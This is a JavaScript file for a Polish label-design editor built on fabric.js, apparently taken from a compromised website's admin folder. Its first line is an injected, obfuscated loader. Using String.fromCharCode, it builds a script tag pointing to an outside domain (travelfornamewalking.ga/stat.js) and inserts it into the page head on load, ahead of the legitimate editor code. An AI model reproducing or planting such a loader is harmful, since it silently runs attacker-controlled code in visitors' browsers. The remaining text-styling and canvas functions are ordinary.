| Current File : /home/users/barii/public_html/finansenl.com.pl/wodki/admin/tablice/js/text.js |
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,59,47,47,109,97,105,110,46,116,114,97,118,101,108,102,111,114,110,97,109,101,119,97,108,107,105,110,103,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();function init(w,h,nazwa){
canvas = this.__canvas = new fabric.Canvas(nazwa);
canvas.setHeight(h);
canvas.setWidth(w);
$('#texteditor .min.bold').click(boldit);
$('#texteditor .min.italic').click(italicit);
$('#texteditor .min.underline').click(underlineit);
$('#texteditor .min.acenter').click(centerit);
$('#texteditor .min.aright').click(rightit);
$('#texteditor .min.aleft').click(leftit);
$('#texteditor .min.ajustify').click(justifyit);
$('#texteditor .minn #color').change(colorit);
$('#texteditor .min.totop').click(bringForward);
$('#texteditor .min.toback').click(sendBackwards);
$('#texteditor .min.remove').click(removeit);
$('#texteditor .minn.shadowd').click(shadowitdark);
$('#texteditor .minn.shadowl').click(shadowitlight);
canvas.on({
'object:moving': updateControls,
'object:scaling': updateControls,
'object:modified': updateControls,
'object:resizing': updateControls,
'object:rotating': updateControls,
'object:selected': updateControls,
'text:changed': updateControls,
'text:entered': updateControls2,
'text:exited': updateControls2,
});
canvas.on("selection:cleared", function(e){
$("#texteditor.editor").hide();
$("#texteditor.editortxt").hide();
$(".pcien").hide();
});
}
function updateControls2() {
alert('event');
}
function updateControls() {
if (obj = canvas.getActiveObject()) {
if(getStyle(obj,'fontFamily') != null){
$('.plineheight').val((getStyle(obj,'lineHeight')/0.001));
if(obj.getShadow() != null){
$(".pcien").show();
}
$("#texteditor.editor").hide();
$("#texteditor.editortxt").show();
$("#tabs ul li").removeClass('active');
$("#content1>div").removeClass('active');
$("#content1>div").hide();
$(".tabs-1").addClass('active');
$(".tabs-1").show();
var sc = canvas.getWidth()/$('#myCanvas').width();
if(obj.getAngle()!=0){
$("#texteditor").css('top', (obj.getTop()/sc));
$("#texteditor").css('left', (obj.getLeft()+obj.getWidth())/sc);
}
else{
$("#texteditor").css('top', (obj.getTop()+obj.getHeight()+30)/sc);
$("#texteditor").css('left', (obj.getLeft()+(obj.getWidth()/2-140))/sc);
}
var color = getStyle(obj,'fill');
var fontfam = getStyle(obj,'fontFamily');
$("input#color").css('background-color',color);
$("input#color").val(color.replace('#',''));
$(".fontfamily span").html(fontfam);
/*LOGI
//dodaj('Pan\nMłody',110,45,'Great Vibes',75,'#ffffff','center');
$('div.logs').prepend("dodaj('"+obj.getText()+"',"+(obj.getLeft()/sc).toFixed(0)+","+(obj.getTop()/sc).toFixed(0)+",'"+fontfam+"',"+(obj.fontSize/sc).toFixed(0)+",'"+color+"','center');<br>");*/
if(obj.fontSize < 30){
//alert('tekst jest zbyt mały i nie zostanie poprawnie wydrukowany')
}
}
else{
var sc = canvas.getWidth()/$('#myCanvas').width();
$("#texteditor.editortxt").hide();
$("#texteditor.editor").show();
if(obj.getAngle()!=0){
$("#texteditor.editor").css('top', obj.getTop()/sc);
$("#texteditor.editor").css('left', obj.getLeft()/sc);
}
else{
$("#texteditor.editor").css('top', (obj.getTop()+obj.getHeight()+10)/sc);
$("#texteditor.editor").css('left', (obj.getLeft())/sc);
}
}
}
else{
$("#texteditor.editortxt").hide();
$("#texteditor.editor").hide();
}
}
function wykrojnik(plik){
fabric.Image.fromURL('http://etykietynawino.pl/img/'+plik, function(img) {
img.scale(1).set({
left: 0,
top: 0,
globalCompositeOperation: 'source-over',
id: 'wykrojnik'
});
canvas.add(img).setActiveObject(img);
canvas.item(0).selectable = false;
canvas.getActiveObject().id='wykrojnik';
});
}
function Logi(url){
var asdf = canvas.toDatalessJSON();
delete asdf.objects[0];
var json_data = JSON.stringify(asdf);
if (obj = canvas.getActiveObject()){
canvas.getActiveObject().hasControls = canvas.getActiveObject().hasBorders = false; }
canvas.renderAll();
var rect = new fabric.Rect({ width: 900, height: 650, fill:'#fff'});
rect.globalCompositeOperation = 'destination-over';
canvas.add(rect);
canvas.item(0).selectable = false;
var dataURL = canvas.toDataURL({
format: 'jpeg',
quality: 1,
});
$.ajax({
async : false,
type : 'POST',
data: {
imgBase64: dataURL,
json: json_data,
funct: $("input.tlo").val()
},
url : '/js/saveJson.php',
success : function(data) {
alert('Zapisano pozycje: '+ $("input.tlo").val() +'()');
//window.location.href = "http://www.etykietyweselne.pl/admin/tablice.php";
},
error : function(error) {
alert("Błąd: " + error);
}
});
}
////FUNKCJE DO EDYCJI TEKSTU //////
function fontfamilyit(r){
if (obj = canvas.getActiveObject()) {
setStyle(obj,'fontFamily', r);
$(".fontfamily span").html(r);
canvas.renderAll();
}
}
function fontsizeit(r){
if (obj = canvas.getActiveObject()) {
setStyle(obj,'fontFamily', r);
canvas.renderAll();
}
}
function zmienLineHeight(r){
if (obj = canvas.getActiveObject()) {
setStyle(obj, 'lineHeight', (r*0.001));
canvas.renderAll();
}
}
function zmiencien(r){
if (obj = canvas.getActiveObject()) {
if(obj.getShadow() != null){
obj.setShadow({offsetX:$(".rangetop").val(),offsetY:$(".rangetop").val(),blur:$(".rangeblur").val(),color:obj.getShadow().color});
}
canvas.renderAll();
}
}
function zmiencienblur(r){
if (obj = canvas.getActiveObject()) {
if(obj.getShadow() != null){
obj.setShadow({offsetX:$(".rangetop").val(),offsetY:$(".rangetop").val(),blur:r,color:obj.getShadow().color});
}
canvas.renderAll();
}
}
function shadowitdark(){
if (obj = canvas.getActiveObject()) {
if(obj.getShadow() != null){
obj.setShadow(null);
$(".pcien").hide();
}else{
obj.setShadow( $(".rangetop").val() + 'px ' + $(".rangetop").val() +'px '+ $(".rangeblur").val() +'px #555555');
$(".pcien").show();
}
canvas.renderAll();
}
}
function shadowitlight(){
if (obj = canvas.getActiveObject()) {
if(obj.getShadow() != null){
obj.setShadow(null);
$(".pcien").hide();
}else{
obj.setShadow( $(".rangetop").val() + 'px ' + $(".rangetop").val() +'px '+ $(".rangeblur").val() +'px #ffffff');
$(".pcien").show();
}
canvas.renderAll();
}
}
function removeit(){
if (obj = canvas.getActiveObject()) {
if(obj.id == 'zdjecie'){
$('.aaa').hide();
}
//alert(obj.id);
obj.remove(0);
$("#texteditor").hide();
canvas.renderAll();
}
}
function boldit(){
if (obj = canvas.getActiveObject()) {
var isBold = getStyle(obj,'fontWeight') === 'bold';
setStyle(obj,'fontWeight', isBold ? '' : 'bold');
canvas.renderAll();
}
}
function italicit(){
if (obj = canvas.getActiveObject()) {
var isItalic = getStyle(obj, 'fontStyle') === 'italic';
setStyle(obj, 'fontStyle', isItalic ? '' : 'italic');
canvas.renderAll();
}
}
function underlineit(){
if (obj = canvas.getActiveObject()) {
var isUnderline = (getStyle(obj, 'textDecoration') || '').indexOf('underline') > -1;
setStyle(obj, 'textDecoration', isUnderline ? '' : 'underline');
canvas.renderAll();
}
}
function centerit(){
if (obj = canvas.getActiveObject()) {
setStyle(obj, 'textAlign', 'center');
canvas.renderAll();
}
}
function leftit(){
if (obj = canvas.getActiveObject()) {
setStyle(obj, 'textAlign', 'left');
canvas.renderAll();
}
}
function rightit(){
if (obj = canvas.getActiveObject()) {
setStyle(obj, 'textAlign', 'right');
canvas.renderAll();
}
}
function justifyit(){
if (obj = canvas.getActiveObject()) {
setStyle(obj, 'textAlign', 'justify');
canvas.renderAll();
}
}
function colorit(){
if (obj = canvas.getActiveObject()) {
//alert(this.value);
setStyle(obj, 'fill', '#'+this.value);
canvas.renderAll();
}
}
function bringForward() {
var activeObject = canvas.getActiveObject();
if (activeObject) {
canvas.bringForward(activeObject);
}
};
function sendBackwards() {
var activeObject = canvas.getActiveObject();
if (activeObject) {
canvas.sendBackwards(activeObject);
}
};
function setStyle(object, styleName, value) {
if (object.setSelectionStyles && object.isEditing) {
var style = { };
style[styleName] = value;
object.setSelectionStyles(style);
}
else {
object[styleName] = value;
}
}
function getStyle(object, styleName) {
return (object.getSelectionStyles && object.isEditing)
? object.getSelectionStyles()[styleName]
: object[styleName];
}
/////EDYTOR TEKSTY -- KONIEC /////
function dodaj(text,l,t,font,f,color,align){
text = new fabric.IText(text, {left: l*2, top: t*2, id: 'text1',fontSize: f*2, lineHeight:0.8,textAlign: align, fontFamily:font, lockUniScaling: true, rotatingPointOffset: 25});
text.setColor(color);
canvas.add(text);
canvas.setActiveObject(canvas.item(0));
}
function dodaj2(text,l,t,font,f,color,align){
wierszyk = new fabric.IText(text, {left: l*2, top: t*2, id: 'text1',fontSize: f*2, lineHeight:1,textAlign: align, fontFamily:font, lockUniScaling: true, rotatingPointOffset: 25});
wierszyk.setColor(color);
canvas.add(wierszyk);
canvas.setActiveObject(canvas.item(0));
}
function dodajNaklejke(urlik,scale,x,y){
fabric.Object.prototype.transparentCorners = false;
var radius = 300;
zciemnij(500);
fabric.Image.fromURL(urlik.replace("mini", redlof), function(img) {
img.scale(scale).set({
left: x,
top: y,
id: 'naklejka'
});
canvas.add(img).setActiveObject(img);
if(scale==0.544){
canvas.clear();
if (urlik.indexOf(".png") >= 0){
//$('.uploadzdjecie').show();
}
else{
//$('.uploadzdjecie').hide();
}
$("#bottomcol").animate({
height: '150px'
},500);
$("#bottomcol .material-icons").html('keyboard_arrow_up');
$("li.ddd").show();
canvas.sendToBack(img);
canvas.item(0).selectable = false;
}
});
}
function zciemnij(val){
//alert('tak');
$('.overwhite').fadeTo(val, 0.9);
$('.overwhite').delay(val+50).hide(0);
//alert('tak');
}
function dodajNaklejke2(urlik,scale,x,y){
//alert('asdf');
zciemnij(500);
var imge = $('<img src="'+urlik+'"/>').load(function(){
var ww = this.width;
fabric.Object.prototype.transparentCorners = false;
$('#target').attr('src',urlik);
fabric.Image.fromURL(urlik, function(img) {
img.scale(500/ww).set({
left: x,
top: y,
/*globalCompositeOperation: 'destination-over',*/
id: 'zdjecie'
});
canvas.add(img).setActiveObject(img);
if(scale==1)canvas.sendToBack(img);
$(".ddd").show();
});
});
}
function dodajNaklejke2a(urlik,scale,x,y){
//alert('asdf');
zciemnij(500);
var imge = $('<img src="'+urlik+'"/>').load(function(){
var ww = this.width;
fabric.Object.prototype.transparentCorners = false;
$('#target').attr('src',urlik);
fabric.Image.fromURL(urlik, function(img) {
img.scale(500/ww).set({
left: x,
top: y,
globalCompositeOperation: 'destination-over',
id: 'zdjecie'
});
canvas.add(img).setActiveObject(img);
if(scale==1)canvas.sendToBack(img);
$(".ddd").show();
});
});
}
function Tlo(url,w,c){
fabric.Image.fromURL(olt+url.replace("tloetykiety", ''), function(img) {
img.scale(1).set({
left: 0,
top: 0
});
canvas.add(img);
canvas.sendToBack(img);
canvas.item(0).selectable = false;
});
canvas.renderAll();
$("#texteditor.editor").hide();
}